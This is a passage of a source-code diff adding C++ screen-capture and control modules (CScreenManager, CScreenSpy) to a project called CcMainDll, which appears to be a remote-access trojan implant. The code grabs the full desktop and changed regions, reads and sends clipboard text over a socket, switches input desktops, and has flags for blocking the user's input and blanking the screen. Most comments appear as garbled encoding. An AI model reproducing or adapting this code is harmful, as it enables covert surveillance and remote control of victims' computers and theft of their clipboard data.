||||
HGLOBAL hglb = GetClipboardData(CF_TEXT);
|
||||
if (hglb == NULL)
|
||||
{
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int nPacketLen = GlobalSize(hglb) + 1;
|
||||
LPSTR lpstr = (LPSTR) GlobalLock(hglb);
|
||||
LPBYTE lpData = new BYTE[nPacketLen];
|
||||
lpData[0] = TOKEN_CLIPBOARD_TEXT;
|
||||
memcpy(lpData + 1, lpstr, nPacketLen - 1);
|
||||
::GlobalUnlock(hglb);
|
||||
::CloseClipboard();
|
||||
Send(lpData, nPacketLen);
|
||||
delete[] lpData;
|
||||
}
|
||||
|
||||
|
||||
// <20><>Ļ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>
|
||||
bool CScreenManager::IsMetricsChange()
|
||||
{
|
||||
LPBITMAPINFO lpbmi = m_pScreenSpy->getBI();
|
||||
|
||||
return (lpbmi->bmiHeader.biWidth != ::GetSystemMetrics(SM_CXSCREEN)) ||
|
||||
(lpbmi->bmiHeader.biHeight != ::GetSystemMetrics(SM_CYSCREEN));
|
||||
}
|
||||
|
||||
bool CScreenManager::IsConnect()
|
||||
{
|
||||
return m_pClient->IsRunning();
|
||||
}
|
||||
|
||||
int CScreenManager::GetCurrentPixelBits()
|
||||
{
|
||||
return m_biBitCount;
|
||||
}
|
||||
44
CcMainDll/CcMainDll/common/ScreenManager.h
Normal file
44
CcMainDll/CcMainDll/common/ScreenManager.h
Normal file
@@ -0,0 +1,44 @@
|
||||
// ScreenManager.h: interface for the CScreenManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_)
|
||||
#define AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include "Manager.h"
|
||||
#include "ScreenSpy.h"
|
||||
|
||||
class CScreenManager : public CManager
|
||||
{
|
||||
public:
|
||||
CScreenManager(CClientSocket *pClient);
|
||||
virtual ~CScreenManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
void sendBITMAPINFO();
|
||||
void sendFirstScreen();
|
||||
void sendNextScreen();
|
||||
bool IsMetricsChange();
|
||||
bool IsConnect();
|
||||
int GetCurrentPixelBits();
|
||||
bool m_bIsWorking;
|
||||
bool m_bIsBlockInput;
|
||||
bool m_bIsBlankScreen;
|
||||
private:
|
||||
BYTE m_bAlgorithm;
|
||||
bool m_bIsCaptureLayer;
|
||||
int m_biBitCount;
|
||||
HANDLE m_hWorkThread, m_hBlankThread;
|
||||
CCursorInfo m_CursorInfo;
|
||||
CScreenSpy *m_pScreenSpy;
|
||||
void ResetScreen(int biBitCount);
|
||||
void ProcessCommand(LPBYTE lpBuffer, UINT nSize);
|
||||
static DWORD WINAPI WorkThread(LPVOID lparam);
|
||||
static DWORD WINAPI ControlThread(LPVOID lparam);
|
||||
void UpdateLocalClipboard(char *buf, int len);
|
||||
void SendLocalClipboard();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_)
|
||||
503
CcMainDll/CcMainDll/common/ScreenSpy.cpp
Normal file
503
CcMainDll/CcMainDll/common/ScreenSpy.cpp
Normal file
@@ -0,0 +1,503 @@
|
||||
// ScreenSpy.cpp: implementation of the CScreenSpy class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "ScreenSpy.h"
|
||||
#include "until.h"
|
||||
|
||||
#define RGB2GRAY(r,g,b) (((b)*117 + (g)*601 + (r)*306) >> 10)
|
||||
|
||||
#define DEF_STEP 19
|
||||
#define OFF_SET 24
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifdef _CONSOLE
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
|
||||
{
|
||||
switch (biBitCount)
|
||||
{
|
||||
case 1:
|
||||
case 4:
|
||||
case 8:
|
||||
case 16:
|
||||
case 32:
|
||||
m_biBitCount = biBitCount;
|
||||
break;
|
||||
default:
|
||||
m_biBitCount = 8;
|
||||
}
|
||||
|
||||
if (!SelectInputWinStation())
|
||||
{
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>洰<EFBFBD><E6B4B0>
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
|
||||
// <20><><EFBFBD>ݴ<EFBFBD><DDB4>ڻ<EFBFBD>ȡDC<44>ٱ<EFBFBD>
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
}
|
||||
|
||||
m_dwBitBltRop = SRCCOPY;
|
||||
|
||||
// Ĭ<><C4AC>ʹ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD>㷨
|
||||
m_bAlgorithm = ALGORITHM_SCAN;
|
||||
m_dwLastCapture = GetTickCount();
|
||||
m_nMaxFrameRate = nMaxFrameRate;
|
||||
m_dwSleep = 1000 / nMaxFrameRate;
|
||||
m_bIsGray = bIsGray;
|
||||
m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
|
||||
m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
m_nIncSize = 32 / m_biBitCount;
|
||||
|
||||
m_nStartLine = 0;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>DC
|
||||
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
|
||||
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
|
||||
m_hLineMemDC = ::CreateCompatibleDC(NULL);
|
||||
m_hRectMemDC = ::CreateCompatibleDC(NULL);
|
||||
m_lpvLineBits = NULL;
|
||||
m_lpvFullBits = NULL;
|
||||
|
||||
// LPBITMAPINFOλͼ<CEBB><CDBC>Ϣ<EFBFBD>ṹ
|
||||
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
|
||||
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
|
||||
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>λͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_lpbmi_full<6C><6C>m_lpvFullBits<74><73><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD>ץȡ<D7A5><C8A1><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD>ñ<EFBFBD><C3B1>浽<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>Ϊλͼ<CEBB><CDBC><EFBFBD><EFBFBD><EFBFBD>˱<EFBFBD><CBB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5>ڴ<EFBFBD><DAB4>ռ<EFBFBD>
|
||||
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
|
||||
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
|
||||
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
|
||||
|
||||
// <20><><EFBFBD>ڴ<EFBFBD>DC<44><43>HITMAP<41><50>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>
|
||||
// ͨ<><CDA8>m_hFullMemDCץȡ<D7A5><C8A1><EFBFBD>ݱ<EFBFBD><DDB1><EFBFBD><EFBFBD><EFBFBD> m_hFullBitmapȻ<70><C8BB><EFBFBD><EFBFBD><EFBFBD>ݱ<EFBFBD><DDB1>浽<EFBFBD><E6B5BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_lpvFullBits<74><73>
|
||||
::SelectObject(m_hFullMemDC, m_hFullBitmap);
|
||||
::SelectObject(m_hLineMemDC, m_hLineBitmap);
|
||||
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
|
||||
|
||||
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
|
||||
|
||||
// <20>㹻<EFBFBD><E3B9BB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱץȡ<D7A5><C8A1><EFBFBD><EFBFBD>ͼ<EFBFBD>εĻ<CEB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
|
||||
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
|
||||
|
||||
m_rectBufferOffset = 0;
|
||||
}
|
||||
|
||||
CScreenSpy::~CScreenSpy()
|
||||
{
|
||||
::ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||||
::DeleteDC(m_hLineMemDC);
|
||||
::DeleteDC(m_hFullMemDC);
|
||||
::DeleteDC(m_hRectMemDC);
|
||||
::DeleteDC(m_hDiffMemDC);
|
||||
|
||||
::DeleteObject(m_hLineBitmap);
|
||||
::DeleteObject(m_hFullBitmap);
|
||||
::DeleteObject(m_hDiffBitmap);
|
||||
|
||||
if (m_rectBuffer)
|
||||
delete[] m_rectBuffer;
|
||||
delete[] m_lpbmi_full;
|
||||
delete[] m_lpbmi_line;
|
||||
delete[] m_lpbmi_rect;
|
||||
}
|
||||
|
||||
|
||||
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
|
||||
{
|
||||
static LONG nOldCursorPosY = 0;
|
||||
if (lpdwBytes == NULL || m_rectBuffer == NULL)
|
||||
return NULL;
|
||||
|
||||
SelectInputWinStation();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||
m_rectBufferOffset = 0;
|
||||
|
||||
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
||||
|
||||
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
|
||||
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨
|
||||
if (m_bAlgorithm == ALGORITHM_DIFF)
|
||||
{
|
||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ
|
||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
|
||||
*lpdwBytes = m_rectBufferOffset +
|
||||
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
|
||||
return m_rectBuffer;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>λ<EFBFBD>÷<EFBFBD><C3B7>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD> + DEF_STEP)<29><><EFBFBD><EFBFBD>ɨ<EFBFBD><C9A8>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nHotspot = max(0, CursorPos.y - DEF_STEP);
|
||||
for (
|
||||
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
|
||||
i < m_nFullHeight;
|
||||
i += DEF_STEP
|
||||
)
|
||||
{
|
||||
if (ScanChangedRect(i))
|
||||
{
|
||||
i += DEF_STEP;
|
||||
}
|
||||
}
|
||||
nOldCursorPosY = CursorPos.y;
|
||||
|
||||
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
|
||||
*lpdwBytes = m_rectBufferOffset;
|
||||
|
||||
// <20><><EFBFBD>Ʒ<EFBFBD><C6B7><EFBFBD>֡<EFBFBD><D6A1><EFBFBD>ٶ<EFBFBD>
|
||||
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
|
||||
Sleep(1);
|
||||
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
|
||||
|
||||
return m_rectBuffer;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool CScreenSpy::ScanChangedRect(int nStartLine)
|
||||
{
|
||||
bool bRet = false;
|
||||
LPDWORD p1, p2;
|
||||
::BitBlt(m_hLineMemDC, 0, 0, m_nFullWidth, 1, m_hFullDC, 0, nStartLine, m_dwBitBltRop);
|
||||
// 0 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
p1 = (PDWORD)((DWORD)m_lpvFullBits + ((m_nFullHeight - 1 - nStartLine) * m_nDataSizePerLine));
|
||||
p2 = (PDWORD)m_lpvLineBits;
|
||||
::SetRect(&m_changeRect, -1, nStartLine - DEF_STEP, -1, nStartLine + DEF_STEP * 2);
|
||||
|
||||
for (int j = 0; j < m_nFullWidth; j += m_nIncSize)
|
||||
{
|
||||
if (*p1 != *p2)
|
||||
{
|
||||
if (m_changeRect.right < 0)
|
||||
m_changeRect.left = j - OFF_SET;
|
||||
m_changeRect.right = j + OFF_SET;
|
||||
}
|
||||
p1++;
|
||||
p2++;
|
||||
}
|
||||
|
||||
if (m_changeRect.right > -1)
|
||||
{
|
||||
m_changeRect.left = max(m_changeRect.left, 0);
|
||||
m_changeRect.top = max(m_changeRect.top, 0);
|
||||
m_changeRect.right = min(m_changeRect.right, m_nFullWidth);
|
||||
m_changeRect.bottom = min(m_changeRect.bottom, m_nFullHeight);
|
||||
// <20><><EFBFBD>Ƹı<C6B8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CopyRect(&m_changeRect);
|
||||
bRet = true;
|
||||
}
|
||||
|
||||
return bRet;
|
||||
}
|
||||
void CScreenSpy::setAlgorithm(UINT nAlgorithm)
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bAlgorithm, nAlgorithm);
|
||||
}
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>λͼ<CEBB>ṹ
|
||||
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
|
||||
{
|
||||
/*
|
||||
biBitCount Ϊ1 (<28>ڰ<DAB0>ɫͼ) <20><>4 (16 ɫͼ) <20><>8 (256 ɫͼ) ʱ<><CAB1><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>С
|
||||
biBitCount Ϊ16 (16 λɫͼ) <20><>24 (<28><><EFBFBD><EFBFBD>ɫͼ, <20><>֧<EFBFBD><D6A7>) <20><>32 (32 λɫͼ) ʱû<CAB1><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB>
|
||||
*/
|
||||
int color_num = biBitCount <= 8 ? 1 << biBitCount : 0;
|
||||
|
||||
int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
|
||||
BITMAPINFO *lpbmi = (BITMAPINFO *) new BYTE[nBISize];
|
||||
|
||||
BITMAPINFOHEADER *lpbmih = &(lpbmi->bmiHeader);
|
||||
lpbmih->biSize = sizeof(BITMAPINFOHEADER);
|
||||
lpbmih->biWidth = biWidth;
|
||||
lpbmih->biHeight = biHeight;
|
||||
lpbmih->biPlanes = 1;
|
||||
lpbmih->biBitCount = biBitCount;
|
||||
lpbmih->biCompression = BI_RGB;
|
||||
lpbmih->biXPelsPerMeter = 0;
|
||||
lpbmih->biYPelsPerMeter = 0;
|
||||
lpbmih->biClrUsed = 0;
|
||||
lpbmih->biClrImportant = 0;
|
||||
lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;
|
||||
|
||||
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||
if (biBitCount >= 16)
|
||||
return lpbmi;
|
||||
/*
|
||||
Windows 95<39><35>Windows 98<39><38><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lpvBits<74><73><EFBFBD><EFBFBD>ΪNULL<4C><4C><EFBFBD><EFBFBD>GetDIBits<74>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BITMAPINFO<46>ṹ<EFBFBD><E1B9B9><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>ֵΪλͼ<CEBB><CDBC><EFBFBD>ܹ<EFBFBD><DCB9><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
Windows NT<4E><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lpvBits<74><73><EFBFBD><EFBFBD>ΪNULL<4C><4C><EFBFBD><EFBFBD>GetDIBits<74>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BITMAPINFO<46>ṹ<EFBFBD><E1B9B9><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>ֵΪ<D6B5><CEAA>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0ֵ<30><D6B5>Windows NT<4E><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>callGetLastError<6F><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
*/
|
||||
|
||||
HDC hDC = GetDC(NULL);
|
||||
HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // <20>߿<EFBFBD><DFBF><EFBFBD><EFBFBD><EFBFBD>Ϊ0
|
||||
GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);
|
||||
ReleaseDC(NULL, hDC);
|
||||
DeleteObject(hBmp);
|
||||
|
||||
if (m_bIsGray)
|
||||
{
|
||||
for (int i = 0; i < color_num; i++)
|
||||
{
|
||||
int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);
|
||||
lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;
|
||||
}
|
||||
}
|
||||
|
||||
return lpbmi;
|
||||
}
|
||||
|
||||
void CScreenSpy::WriteRectBuffer(LPBYTE lpData, int nCount)
|
||||
{
|
||||
memcpy(m_rectBuffer + m_rectBufferOffset, lpData, nCount);
|
||||
m_rectBufferOffset += nCount;
|
||||
}
|
||||
|
||||
LPVOID CScreenSpy::getFirstScreen()
|
||||
{
|
||||
::BitBlt(m_hFullMemDC, 0, 0, m_nFullWidth, m_nFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
|
||||
return m_lpvFullBits;
|
||||
}
|
||||
|
||||
void CScreenSpy::CopyRect( LPRECT lpRect )
|
||||
{
|
||||
int nRectWidth = lpRect->right - lpRect->left;
|
||||
int nRectHeight = lpRect->bottom - lpRect->top;
|
||||
|
||||
LPVOID lpvRectBits = NULL;
|
||||
// <20><><EFBFBD><EFBFBD>m_lpbmi_rect
|
||||
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
|
||||
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
|
||||
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
|
||||
* m_lpbmi_rect->bmiHeader.biHeight;
|
||||
|
||||
|
||||
HBITMAP hRectBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);
|
||||
::SelectObject(m_hRectMemDC, hRectBitmap);
|
||||
::BitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
|
||||
::BitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);
|
||||
|
||||
WriteRectBuffer((LPBYTE)lpRect, sizeof(RECT));
|
||||
WriteRectBuffer((LPBYTE)lpvRectBits, m_lpbmi_rect->bmiHeader.biSizeImage);
|
||||
|
||||
DeleteObject(hRectBitmap);
|
||||
}
|
||||
|
||||
UINT CScreenSpy::getFirstImageSize()
|
||||
{
|
||||
return m_lpbmi_full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpy::setCaptureLayer(bool bIsCaptureLayer)
|
||||
{
|
||||
DWORD dwRop = SRCCOPY;
|
||||
if (bIsCaptureLayer)
|
||||
dwRop |= CAPTUREBLT;
|
||||
InterlockedExchange((LPLONG)&m_dwBitBltRop, dwRop);
|
||||
}
|
||||
|
||||
LPBITMAPINFO CScreenSpy::getBI()
|
||||
{
|
||||
// LPBITMAPINFOλͼ<CEBB><CDBC>Ϣ<EFBFBD>ṹ
|
||||
return m_lpbmi_full;
|
||||
}
|
||||
|
||||
UINT CScreenSpy::getBISize()
|
||||
{
|
||||
// <20><>ǰλͼ<CEBB><CDBC>С
|
||||
int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
|
||||
|
||||
// <20>ṹ+λͼX<CDBC>ṹ<EFBFBD><E1B9B9>С
|
||||
return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
|
||||
}
|
||||
|
||||
bool CScreenSpy::SelectInputWinStation()
|
||||
{
|
||||
bool bRet = ::SwitchInputDesktop();
|
||||
if (bRet)
|
||||
{
|
||||
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
//// <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȵ<EFBFBD>
|
||||
// LONG CScreenSpy::getKeyBoardHotspotY()
|
||||
// {
|
||||
// static DWORD dwCurrentThreadId = GetCurrentThreadId();
|
||||
// static HWND hWindow = GetForegroundWindow();
|
||||
// static DWORD dwWindowThreadId = GetWindowThreadProcessId(hWindow, NULL);
|
||||
// HWND hCurrentWindow = GetForegroundWindow();
|
||||
// if (hCurrentWindow != hWindow )
|
||||
// {
|
||||
// // Release
|
||||
// AttachThreadInput(dwCurrentThreadId, dwWindowThreadId, FALSE);
|
||||
// hWindow = hCurrentWindow;
|
||||
// dwWindowThreadId = GetWindowThreadProcessId(hWindow, NULL);
|
||||
// AttachThreadInput(dwCurrentThreadId, dwWindowThreadId, TRUE);
|
||||
// }
|
||||
//
|
||||
// POINT pt;
|
||||
// if (GetCaretPos(&pt))
|
||||
// {
|
||||
// ClientToScreen(GetFocus(), &pt);
|
||||
// }
|
||||
// return pt.y;
|
||||
// }
|
||||
|
||||
void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight)
|
||||
{
|
||||
UINT nJumpLine = 50;
|
||||
UINT nJumpSleep = nJumpLine / 10; // ɨ<><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nOther;
|
||||
int nToJump = 0;
|
||||
int i = 0;
|
||||
// ɨ<><C9A8><EFBFBD><EFBFBD>Ļ
|
||||
for (i = 0, nToJump = 0; i < nHeight; i += nToJump)
|
||||
{
|
||||
nOther = nHeight - i;
|
||||
|
||||
if (nOther > nJumpLine)
|
||||
nToJump = nJumpLine;
|
||||
else
|
||||
nToJump = nOther;
|
||||
BitBlt(hdcDest, 0, i, nWidth, nToJump, hdcSrc, 0, i, m_dwBitBltRop);
|
||||
Sleep(nJumpSleep);
|
||||
}
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨<EFBFBD><E3B7A8><EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD>
|
||||
int CScreenSpy::Compare( LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize )
|
||||
{
|
||||
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||
LPDWORD p1, p2;
|
||||
p1 = (LPDWORD)lpDest;
|
||||
p2 = (LPDWORD)lpSource;
|
||||
|
||||
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
int nOffsetOffset = 0, nBytesOffset = 0, nDataOffset = 0;
|
||||
int nCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
// p1++ʵ<><CAB5><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DWORD
|
||||
for (int i = 0; i < dwSize; i += 4, p1++, p2++)
|
||||
{
|
||||
if (*p1 == *p2)
|
||||
continue;
|
||||
// һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ鿪ʼ
|
||||
// д<><D0B4>ƫ<EFBFBD>Ƶ<EFBFBD>ַ
|
||||
*(LPDWORD)(lpBuffer + nOffsetOffset) = i;
|
||||
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
|
||||
nBytesOffset = nOffsetOffset + sizeof(int);
|
||||
nDataOffset = nBytesOffset + sizeof(int);
|
||||
nCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
*p1 = *p2;
|
||||
*(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
|
||||
|
||||
nCount += 4;
|
||||
i += 4, p1++, p2++;
|
||||
|
||||
for (int j = i; j < dwSize; j += 4, i += 4, p1++, p2++)
|
||||
{
|
||||
if (*p1 == *p2)
|
||||
break;
|
||||
|
||||
